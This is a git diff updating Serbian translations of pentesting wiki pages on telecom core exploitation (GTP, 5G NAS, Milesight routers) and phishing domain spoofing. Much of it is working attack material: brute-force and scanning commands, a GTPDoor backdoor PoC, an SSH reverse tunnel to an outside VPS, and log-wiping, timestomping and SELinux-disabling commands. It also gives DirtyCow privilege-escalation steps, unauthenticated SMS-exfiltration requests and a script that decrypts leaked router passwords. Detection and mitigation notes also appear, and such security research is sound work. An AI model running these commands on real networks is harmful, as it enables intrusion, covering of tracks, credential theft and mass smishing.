Translated ['', 'src/generic-methodologies-and-resources/phishing-method

This commit is contained in:
Translator 2025-10-09 00:49:04 +00:00
parent 4e8621255f
commit f9a580a3cc
2 changed files with 339 additions and 247 deletions

View File

@ -1,27 +1,27 @@
# Eksploatacija telekom mreža (GTP / Roaming Environments) # Telecom Network Exploitation (GTP / Roaming Environments)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
> [!NOTE] > [!NOTE]
> Mobilni core protokoli (GPRS Tunnelling Protocol GTP) često prolaze kroz polu-pouzdane GRX/IPX roaming backbones. Pošto idu preko plain UDP sa gotovo nikakvom autentifikacijom, **bilo koja pozicija unutar telekom perimetra obično može direktno dostići core signalling plane**. Sledeće beleške prikupljaju ofanzivne trikove primećene u divljini protiv SGSN/GGSN, PGW/SGW i drugih EPC čvorova. > Protokoli mobilne jezgre (GPRS Tunnelling Protocol GTP) često prolaze kroz polu-pouzdane GRX/IPX roaming backbones. Pošto koriste običan UDP sa gotovo nikakvom autentifikacijom, **bilo koji foothold unutar telekom perimetra obično može direktno dostići core signalling planes**. Sledeće beleške prikupljaju ofanzivne trikove zabeležene u stvarnom svetu protiv SGSN/GGSN, PGW/SGW i drugih EPC čvorova.
## 1. Recon & Initial Access ## 1. Recon & Initial Access
### 1.1 Default OSS / NE Accounts ### 1.1 Podrazumevani OSS / NE nalozi
Iznenađujuće veliki broj mrežnih elemenata dobavljača dolazi sa hard-coded SSH/Telnet korisnicima kao što su `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Posvećeni wordlist dramatično povećava uspeh brute-force-a: Zapanjujuće veliki broj mrežnih elemenata dobavljača isporučuje se sa hard-coded SSH/Telnet korisničkim nalozima kao što su `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Posvećena wordlist dramatično povećava uspeh brute-force napada:
```bash ```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
``` ```
Ako uređaj izlaže samo management VRF, prvo pivotirajte kroz jump host (pogledajte odeljak «SGSN Emu Tunnel» ispod). If the device exposes only a management VRF, pivot through a jump host first (see section «SGSN Emu Tunnel» below).
### 1.2 Otkrivanje hostova unutar GRX/IPX ### 1.2 Otkrivanje hostova unutar GRX/IPX
Većina GRX operatora i dalje dozvoljava **ICMP echo** preko backbone-a. Kombinujte `masscan` sa ugrađenim `gtpv1` UDP sondama da brzo mapirate GTP-C slušaoce: Većina GRX operatora i dalje dozvoljava **ICMP echo** preko backbone-a. Kombinujte `masscan` sa ugrađenim `gtpv1` UDP probes da brzo mapirate GTP-C slušače:
```bash ```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55 masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
``` ```
## 2. Enumeracija pretplatnika `cordscan` ## 2. Enumerating Subscribers `cordscan`
Sledeći Go alat sastavlja pakete **GTP-C Create PDP Context Request** i beleži odgovore. Svaki odgovor otkriva trenutni **SGSN / MME** koji opslužuje upitani IMSI i, ponekad, posećeni PLMN pretplatnika. Sledeći Go alat kreira pakete **GTP-C Create PDP Context Request** i zapisuje odgovore. Svaki odgovor otkriva trenutni **SGSN / MME** koji opslužuje upitani IMSI i, ponekad, posećeni PLMN pretplatnika.
```bash ```bash
# Build # Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
@ -29,22 +29,22 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical): # Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap ./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
``` ```
Ključne opcije: Key flags:
- `--imsi` IMSI ciljnog pretplatnika - `--imsi` Ciljni pretplatnik IMSI
- `--oper` Home / HNI (MCC+MNC) - `--oper` Home / HNI (MCC+MNC)
- `-w` Zapiši raw packets u pcap - `-w` Zapiši raw pakete u pcap
Važne konstante unutar binarnog fajla mogu se izmeniti da bi se obim skeniranja povećao: Važne konstante unutar binarnog fajla mogu se izmeniti da bi se povećao opseg skeniranja:
``` ```
pingtimeout = 3 // seconds before giving up pingtimeout = 3 // seconds before giving up
pco = 0x218080 pco = 0x218080
common_tcp_ports = "22,23,80,443,8080" common_tcp_ports = "22,23,80,443,8080"
``` ```
## 3. Izvršavanje koda preko GTP `GTPDoor` ## 3. Code Execution over GTP `GTPDoor`
`GTPDoor` je mali ELF servis koji **veže UDP 2123 i parsira svaki dolazni GTP-C paket**. Kada payload počinje sa pre-shared tag-om, ostatak se dešifruje (AES-128-CBC) i izvršava preko `/bin/sh -c`. stdout/stderr se eksfiltriraju unutar **Echo Response** poruka tako da nikada nije uspostavljena izlazna sesija. `GTPDoor` je mali ELF servis koji **veže se za UDP 2123 i parsira svaki dolazni GTP-C paket**. Kada payload počinje pre-shared tagom, ostatak se dekriptuje (AES-128-CBC) i izvršava preko `/bin/sh -c`. stdout/stderr se eksfiltriraju unutar **Echo Response** poruka tako da se nikada ne uspostavlja spoljašnja sesija.
Minimalni PoC packet (Python): Minimalni PoC paket (Python):
```python ```python
import gtpc, Crypto.Cipher.AES as AES import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!" key = b"SixteenByteKey!"
@ -53,39 +53,39 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc)) print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
``` ```
Detekcija: Detekcija:
* bilo koji host koji šalje **unbalanced Echo Requests** prema SGSN IP adresama * bilo koji host koji šalje **unbalanced Echo Requests** ka SGSN IP-ovima
* GTP version flag postavljen na 1 dok je message type = 1 (Echo) odstupanje od specifikacije * GTP version flag postavljen na 1 dok je message type = 1 (Echo) odstupanje od specifikacije
## 4. Pivoting Through the Core ## 4. Pivoting Through the Core
### 4.1 `sgsnemu` + SOCKS5 ### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN` isporučuje SGSN emulator sposoban da **establish a PDP context towards a real GGSN/PGW**. Nakon pregovora, Linux dobija novi `tun0` interfejs dostupan sa roaming peer-a. `OsmoGGSN` isporučuje SGSN emulator koji može da **establish a PDP context towards a real GGSN/PGW**. Kada se to pregovori, Linux dobija novi `tun0` interfejs dostupan sa roaming peer-a.
```bash ```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \ sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d -APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0 ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy microsocks -p 1080 & # internal SOCKS proxy
``` ```
With proper firewall hair-pinning, this tunnel bypasses signalling-only VLANs and lands you directly in the **sloj podataka**. Uz pravilno firewall hair-pinning, ovaj tunel zaobilazi signalling-only VLANs i dovodi vas direktno u **data plane**.
### 4.2 SSH Reverse Tunnel over Port 53 ### 4.2 SSH Reverse Tunnel over Port 53
DNS je skoro uvek otvoren u roaming infrastrukturi. Izložite internu SSH uslugu na vašem VPS-u koja sluša na :53 i povežite se kasnije iz kuće: DNS je skoro uvek otvoren u roaming infrastrukturnim okruženjima. Izložite internu SSH uslugu na vaš VPS koja osluškuje na :53 i vratite se kasnije iz kuće:
```bash ```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
``` ```
Proverite da li je `GatewayPorts yes` omogućen na VPS-u. Proverite da li je `GatewayPorts yes` omogućeno na VPS-u.
## 5. Tajni kanali ## 5. Skriveni kanali
| Kanal | Transport | Dekodiranje | Napomene | | Kanal | Transport | Dekodiranje | Napomene |
|---------|-----------|----------|-------| |-------|-----------|------------|----------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | potpuno pasivan, bez odlaznog saobraćaja | | ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | čisto pasivan listener, bez odlaznog saobraćaja |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) enkodirano u oktetima A-record zapisa | posmatra `*.nodep` poddomen | | DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) enkodirano u oktetima A-record zapisa | prati `*.nodep` poddomen |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob u private IE | meša se sa legitimnim GTP-C saobraćajem | | GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob u privatnom IE | stapa se sa legitimnim GTP-C saobraćajem |
Svi implants implementiraju watchdogs koji **timestomp** njihove binarne fajlove i ponovo ih pokreću ako se sruše. Svi implants implementiraju watchdogs koji **timestomp** njihove binarne datoteke i re-spawn ako se sruše.
## 6. Pregled tehnika izbegavanja detekcije ## 6. Defense Evasion Cheatsheet
```bash ```bash
# Remove attacker IPs from wtmp # Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux setenforce 0 # disable SELinux
``` ```
## 7. Eskalacija privilegija na Legacy NE ## 7. Privilege Escalation na zastarelom NE
```bash ```bash
# DirtyCow CVE-2016-5195 # DirtyCow CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
@ -116,76 +116,76 @@ Savet za čišćenje:
userdel firefart 2>/dev/null userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c rm -f /tmp/sh ; history -c
``` ```
## 8. Set alata ## 8. Tool Box
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` custom tooling opisani u prethodnim sekcijama. * `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` custom tooling opisano u prethodnim sekcijama.
* `FScan` : skeniranje intraneta po TCP portovima (`fscan -p 22,80,443 10.0.0.0/24`) * `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS rogue WPAD * `Responder` : LLMNR/NBT-NS rogue WPAD
* `Microsocks` + `ProxyChains` : lagani SOCKS5 pivoting * `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting
* `FRP` (≥0.37) : NAT traversal / asset bridging * `FRP` (≥0.37) : NAT traversal / asset bridging
## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay ## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
Procedura registracije u 5G ide preko NAS (Non-Access Stratum) na vrhu NGAP. Dok sigurnost NAS-a nije aktivirana preko Security Mode Command/Complete, inicijalne poruke nisu autentifikovane niti enkriptovane. Ovo pred-bezbednosno vreme omogućava više puteva napada kada možete da posmatrate ili menjate N2 saobraćaj (npr. on-path unutar core-a, lažni gNB, ili testbed). 5G procedura registracije se odvija preko NAS (Non-Access Stratum) na vrhu NGAP. Dokle god NAS security nije aktiviran putem Security Mode Command/Complete, inicijalne poruke nisu autentifikovane niti šifrovane. Ovo pre-security prozorsko stanje omogućava više puteva napada kad možete da posmatrate ili manipulišete N2 saobraćajem (npr. on-path unutar core-a, rogue gNB, ili testbed).
Tok registracije (pojednostavljeno): Registration flow (simplified):
- Registration Request: UE šalje SUCI (šifrovani SUPI) i capabilities. - Registration Request: UE šalje SUCI (encrypted SUPI) i capabilities.
- Authentication: AMF/AUSF šalju RAND/AUTN; UE vraća RES*. - Authentication: AMF/AUSF šalju RAND/AUTN; UE vraća RES*.
- Security Mode Command/Complete: pregovaraju se i aktiviraju NAS integrity i ciphering. - Security Mode Command/Complete: NAS integrity i ciphering se pregovaraju i aktiviraju.
- PDU Session Establishment: podešavanje IP/QoS. - PDU Session Establishment: IP/QoS podešavanje.
Saveti za lab podešavanje (bez RF): Lab setup tips (non-RF):
- Core: Open5GS default deployment je dovoljan za reprodukciju toka. - Core: Open5GS default deployment je dovoljan za reprodukciju flow-ova.
- UE: simulator ili test UE; dekodovati pomoću Wireshark. - UE: simulator ili test UE; dekodujte koristeći Wireshark.
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB). - Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
- Korisni display filteri u Wireshark: - Useful display filters in Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage) - ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request) - nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI ### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
Očekivano: UE/USIM mora da šalje SUCI (SUPI enkriptovan javnim ključem home network-a). Pronalazak plaintext SUPI/IMSI u Registration Request ukazuje na propust privatnosti koji omogućava trajno praćenje pretplatnika. Expected: UE/USIM mora da šalje SUCI (SUPI šifrovan sa home-network public key). Nalazak plaintext SUPI/IMSI u Registration Request ukazuje na privatnosni defekt koji omogućava persistentno praćenje pretplatnika.
Kako testirati: How to test:
- Presretnite prvu NAS poruku u InitialUEMessage i pregledajte Mobile Identity IE. - Capture the first NAS message in InitialUEMessage i ispitajte Mobile Identity IE.
- Wireshark brze provere: - Wireshark quick checks:
- Trebalo bi da dekodira kao SUCI, ne IMSI. - Trebalo bi da dekodira kao SUCI, a ne kao IMSI.
- Primer filtera: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` bi trebalo da postoji; odsustvo plus prisustvo `imsi` ukazuje na leakage. - Primer filtera: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` treba da postoji; odsustvo plus prisustvo `imsi` ukazuje na curenje.
Šta prikupiti: What to collect:
- MCC/MNC/MSIN ako su izloženi; logovati po-UE i pratiti preko vremena/lokacija. - MCC/MNC/MSIN ako su izloženi; logujte po-UE i pratite kroz vreme/locacije.
Mitigacija: Mitigation:
- Primorati SUCI-only UEs/USIMs; alarmirati na bilo koji IMSI/SUPI u inicijalnom NAS-u. - Enforce SUCI-only UEs/USIMs; alert na bilo koji IMSI/SUPI u inicijalnom NAS.
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0) ### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
Background: Background:
- UE advertises podržane EEA (encryption) i EIA (integrity) u UE Security Capability IE Registration Request-a. - UE advertises supported EEA (encryption) i EIA (integrity) u UE Security Capability IE Registration Request-a.
- Uobičajene mape: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 su null algoritmi. - Uobičajene mape: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 su null algoritmi.
Problem: Issue:
- Pošto Registration Request nije integrity zaštićen, on-path napadač može očistiti capability bitove kako bi prisilio izbor EEA0/EIA0 kasnije tokom Security Mode Command. Neki stack-ovi pogrešno dozvoljavaju null algoritme i van emergency servisa. - Pošto Registration Request nije integrity zaštićen, on-path napadač može da obriše capability bitove da prisili selekciju EEA0/EIA0 kasnije tokom Security Mode Command. Neki stack-ovi pogrešno dozvoljavaju null algoritme van emergency servisa.
Ofanzivni koraci: Offensive steps:
- Presretnite InitialUEMessage i izmenite NAS UE Security Capability da oglašava samo EEA0/EIA0. - Intercept InitialUEMessage i modifikujte NAS UE Security Capability da reklamira samo EEA0/EIA0.
- Sa Sni5Gect, hook-ujte NAS poruku i iscribajte capability bitove pre prosljeđivanja. - Sa Sni5Gect hook-ujte NAS poruku i zapatch-ujte capability bitove pre prosleđivanja.
- Posmatrajte da li AMF prihvata null ciphers/integrity i završava Security Mode sa EEA0/EIA0. - Posmatrajte da li AMF prihvata null cipher/integrity i završava Security Mode sa EEA0/EIA0.
Verifikacija/vidljivost: Verification/visibility:
- U Wireshark-u, potvrdite izabrane algoritme nakon Security Mode Command/Complete. - U Wireshark-u, potvrdite izabrane algoritme nakon Security Mode Command/Complete.
- Primer izlaza pasivnog sniffera: - Example passive sniffer output:
``` ```
Encyrption in use [EEA0] Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2] Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001 SUPI (MCC+MNC+MSIN) 9997000000001
``` ```
Mitigacije (obavezno): Mere ublažavanja (obavezno):
- Konfigurišite AMF/policy da odbija EEA0/EIA0 osim tamo gde je strogo propisano (npr. hitni pozivi). - Konfigurišite AMF/policy da odbija EEA0/EIA0 osim gde je strogo naloženo (npr. hitni pozivi).
- Poželjno je primenjivati EEA2/EIA2 kao minimum; logujte i podignite alarm za svaki NAS security context koji pregovara null algorithms. - Poželjno je primenjivati EEA2/EIA2 kao minimum; zabeležite i pokrenite alarm za svaki NAS security context koji pregovara null algoritme.
### 9.3 Replay of initial Registration Request (pre-security NAS) ### 9.3 Replay of initial Registration Request (pre-security NAS)
Pošto initial NAS nema integritet i svežinu, uhvaćeni InitialUEMessage+Registration Request može biti replayed prema AMF. Pošto početni NAS nema integritet i svežinu, presretnuti InitialUEMessage+Registration Request mogu biti replayed na AMF.
PoC pravilo za 5GReplay za prosleđivanje odgovarajućih replays: PoC rule for 5GReplay to forward matching replays:
```xml ```xml
<beginning> <beginning>
<property value="THEN" <property value="THEN"
@ -209,31 +209,90 @@ boolean_expression="nas_5g.message_type == 65"/>
</beginning> </beginning>
``` ```
What to observe: What to observe:
- Da li AMF prihvata replay i nastavlja sa autentikacijom; nedostatak validacije svežine/konteksta ukazuje na izloženost. - Da li AMF prihvata replay i nastavlja ka Authentication; lack of freshness/context validation ukazuje na izloženost.
Mitigations: Mitigations:
- Sprovoditi zaštitu od replay-a / vezivanje konteksta na AMF; ograničiti stopu (rate-limit) i korelirati po GNB/UE. - Primeni replay protection/context binding na AMF; rate-limit i correlate po-GNB/UE.
### 9.4 Tooling pointers (reproducible) ### 9.4 Tooling pointers (reproducible)
- Open5GS: podignite AMF/SMF/UPF da emulirate core; posmatrajte N2 (NGAP) i NAS. - Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
- Wireshark: proverite dekodiranje NGAP/NAS; primenite gore navedene filtere da izolujete Registration. - Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
- 5GReplay: zabeležite registration, zatim replay-ujte specifične NGAP + NAS poruke prema pravilu. - 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
- Sni5Gect: live sniff/modify/inject NAS control-plane da prisilite null algoritme ili poremete sekvence autentikacije. - Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.
### 9.5 Defensive checklist ### 9.5 Defensive checklist
- Kontinuirano pregledajte Registration Request na plaintext SUPI/IMSI; blokirajte uređaje/USIMs koji krše pravila. - Kontinuirano inspect Registration Request za plaintext SUPI/IMSI; block offending devices/USIMs.
- Odbacujte EEA0/EIA0 osim u strogo definisanim hitnim procedurama; zahtevajte najmanje EEA2/EIA2. - Reject EEA0/EIA0 osim za striktno definisane emergency procedure; require at least EEA2/EIA2.
- Otkrivajte rogue ili pogrešno konfigurisanu infrastrukturu: neautorizovani gNB/AMF, neočekivani N2 peers. - Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
- Alarmirajte za NAS security modes koji rezultuju null algoritmima ili čestim replay-ovima InitialUEMessage. - Alert on NAS security modes koji rezultuju null algorithms ili čestim replays of InitialUEMessage.
--- ---
## 10. Industrial Cellular Routers Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)
Zloupotreba exposed web API-ja industrijskih cellular routers omogućava stealthy, carrier-origin smishing u velikoj skali. Milesight UR-series routers expose a JSON-RPCstyle endpoint at `/cgi`. Kada je pogrešno konfigurisano, API se može query-ovati without authentication da listuje SMS inbox/outbox i, u nekim deployment-ima, da šalje SMS.
Typical unauthenticated requests (same structure for inbox/outbox):
```http
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json
{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
```
```json
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }
```
Odgovori sadrže polja kao što su `timestamp`, `content`, `phone_number` (E.164) i `status` (`success` ili `failed`). Ponavljana slanja sa statusom `failed` na isti broj često su napadačeve “capability checks” da potvrde da router/SIM može isporučiti pre masovnog slanja.
Primer curl komande za exfiltrate SMS metapodataka:
```bash
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'
```
Beleške o auth artefaktima:
- Neki saobraćaj može uključivati auth cookie, ali veliki deo izloženih uređaja odgovara bez ikakve autentikacije na `query_inbox`/`query_outbox` kada je management interfejs izložen Internetu.
- U okruženjima koja zahtevaju auth, previously-leaked credentials (see below) vraćaju pristup.
Putanja oporavka kredencijala CVE-2023-43261:
- Pogođene familije: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
- Problem: web-served logs (npr. `httpd.log`) su dostupni bez autentikacije pod `/lang/log/` i sadrže admin login događaje sa lozinkom enkriptovanom korišćenjem hardkodovanog AES key/IV prisutnog u client-side JavaScript.
- Praktičan pristup i dekript:
```bash
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}
```
Minimalni Python za dešifrovanje leaked lozinki (AES-128-CBC, hardcoded key/IV):
```python
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...' # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())
```
Ideje za hunting i detekciju (mreža):
- Alert na neautentifikovan `POST /cgi` čije JSON telo sadrži `base`/`function` postavljeno na `query_inbox` ili `query_outbox`.
- Pratiti ponovljene `POST /cgi` burst-ove koji su praćeni `status":"failed"` unosima preko mnogo različitih brojeva sa iste source IP (capability testing).
- Inventarizovati Internet-exposed Milesight routere; ograničiti management na VPN; onemogućiti SMS funkcije osim ako nisu potrebne; nadograditi na ≥ v35.3.0.7; rotirati kredencijale i pregledati SMS logove za nepoznata slanja.
Shodan/OSINT pivots (examples seen in the wild):
- `http.html:"rt_title"` matches Milesight router panels.
- Google dorking for exposed logs: `"/lang/log/system" ext:log`.
Operativni uticaj: korišćenje legitimnih carrier SIMs unutar routera daje vrlo visoku SMS deliverability/credibility za phishing, dok inbox/outbox exposure leaks sensitive metadata at scale.
---
## Detection Ideas ## Detection Ideas
1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**. 1. **Bilo koji uređaj koji nije SGSN/GGSN koji uspostavlja Create PDP Context Requests**.
2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs. 2. **Nestandardni portovi (53, 80, 443) koji primaju SSH handshakes** iz internih IP adresa.
3. **Frequent Echo Requests without corresponding Echo Responses** might indicate GTPDoor beacons. 3. **Česti Echo Requests bez odgovarajućih Echo Responses** može ukazivati na GTPDoor beacone.
4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**. 4. **Visok nivo ICMP echo-reply saobraćaja sa velikim, nenultim identifier/sequence poljima**.
5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal). 5. 5G: **InitialUEMessage koji nosi NAS Registration Requests ponovljene sa istih endpoint-a** (replay signal).
6. 5G: **NAS Security Mode negotiating EEA0/EIA0** outside emergency contexts. 6. 5G: **NAS Security Mode koji pregovara EEA0/EIA0 izvan emergency konteksta**.
## References ## References
@ -243,5 +302,8 @@ Mitigations:
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol) - [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
- 3GPP TS 24.501 Non-Access-Stratum (NAS) protocol for 5GS - 3GPP TS 24.501 Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 Security architecture and procedures for 5G System - 3GPP TS 33.501 Security architecture and procedures for 5G System
- [Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/)
- [CVE-2023-43261 NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-43261)
- [CVE-2023-43261 PoC (win3zz)](https://github.com/win3zz/CVE-2023-43261)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -4,47 +4,47 @@
## Metodologija ## Metodologija
1. Recon žrtve 1. Recon the victim
1. Izaberi **domen žrtve**. 1. Izaberi **victim domain**.
2. Izvrši osnovnu web enumeraciju **pretražujući portale za prijavu** koje koristi žrtva i **odluči** koji ćete **imitirati**. 2. Uradi osnovnu web enumeraciju **searching for login portals** koje koristi žrtva i **decide** koji ćeš **impersonate**.
3. Koristi malo **OSINT** da **pronađeš e-mail adrese**. 3. Koristi **OSINT** da **find emails**.
2. Pripremi okruženje 2. Pripremi okruženje
1. **Kupi domen** koji ćeš koristiti za phishing procenu 1. **Buy the domain** koji ćeš koristiti za phishing procenu
2. **Konfiguriši zapise** vezane za email servis (SPF, DMARC, DKIM, rDNS) 2. **Configure the email service** related records (SPF, DMARC, DKIM, rDNS)
3. Konfiguriši VPS sa **gophish** 3. Konfiguriši VPS sa **gophish**
3. Pripremi kampanju 3. Pripremi kampanju
1. Pripremi **email šablon** 1. Pripremi **email template**
2. Pripremi **web stranicu** za krađu kredencijala 2. Pripremi **web page** za krađu credentials
4. Pokreni kampanju! 4. Pokreni kampanju!
## Generisanje sličnih naziva domena ili kupovina pouzdanog domena ## Generate similar domain names or buy a trusted domain
### Tehnike varijacija naziva domena ### Domain Name Variation Techniques
- **Keyword**: Naziv domena **sadrži** važnu **ključnu reč** originalnog domena (npr. zelster.com-management.com). - **Keyword**: The domain name **contains** an important **keyword** of the original domain (e.g., zelster.com-management.com).
- **hypened subdomain**: Zameni **tačku crticom** u poddomeni (npr. www-zelster.com). - **hypened subdomain**: Change the **dot for a hyphen** of a subdomain (e.g., www-zelster.com).
- **New TLD**: Isti domen koristeći **novi TLD** (npr. zelster.org) - **New TLD**: Same domain using a **new TLD** (e.g., zelster.org)
- **Homoglyph**: **Zameni** slovo u nazivu domena sa **slovima koja izgledaju slično** (npr. zelfser.com). - **Homoglyph**: It **replaces** a letter in the domain name with **letters that look similar** (e.g., zelfser.com).
{{#ref}} {{#ref}}
homograph-attacks.md homograph-attacks.md
{{#endref}} {{#endref}}
- **Transposition:** **Zameni mesta** dvema slovima unutar naziva domena (npr. zelsetr.com). - **Transposition:** It **swaps two letters** within the domain name (e.g., zelsetr.com).
- **Singularization/Pluralization**: Dodaje ili uklanja “s” na kraju naziva domena (npr. zeltsers.com). - **Singularization/Pluralization**: Adds or removes “s” at the end of the domain name (e.g., zeltsers.com).
- **Omission**: **Ukloni jedno** od slova iz naziva domena (npr. zelser.com). - **Omission**: It **removes one** of the letters from the domain name (e.g., zelser.com).
- **Repetition:** **Ponovi jedno** od slova u nazivu domena (npr. zeltsser.com). - **Repetition:** It **repeats one** of the letters in the domain name (e.g., zeltsser.com).
- **Replacement**: Kao homoglyph ali manje prikriveno. Zamenjuje jedno od slova u nazivu domena, možda slovom bliskim na tastaturi (npr. zektser.com). - **Replacement**: Like homoglyph but less stealthy. It replaces one of the letters in the domain name, perhaps with a letter in proximity of the original letter on the keyboard (e.g, zektser.com).
- **Subdomained**: Uvedi **tačku** unutar naziva domena (npr. ze.lster.com). - **Subdomained**: Introduce a **dot** inside the domain name (e.g., ze.lster.com).
- **Insertion**: **Ubaci slovo** u naziv domena (npr. zerltser.com). - **Insertion**: It **inserts a letter** into the domain name (e.g., zerltser.com).
- **Missing dot**: Pripoji TLD uz naziv domena. (npr. zelstercom.com) - **Missing dot**: Append the TLD to the domain name. (e.g., zelstercom.com)
**Automatski alati** **Automatic Tools**
- [**dnstwist**](https://github.com/elceef/dnstwist) - [**dnstwist**](https://github.com/elceef/dnstwist)
- [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy) - [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)
**Web sajtovi** **Websites**
- [https://dnstwist.it/](https://dnstwist.it) - [https://dnstwist.it/](https://dnstwist.it)
- [https://dnstwister.report/](https://dnstwister.report) - [https://dnstwister.report/](https://dnstwister.report)
@ -52,43 +52,43 @@ homograph-attacks.md
### Bitflipping ### Bitflipping
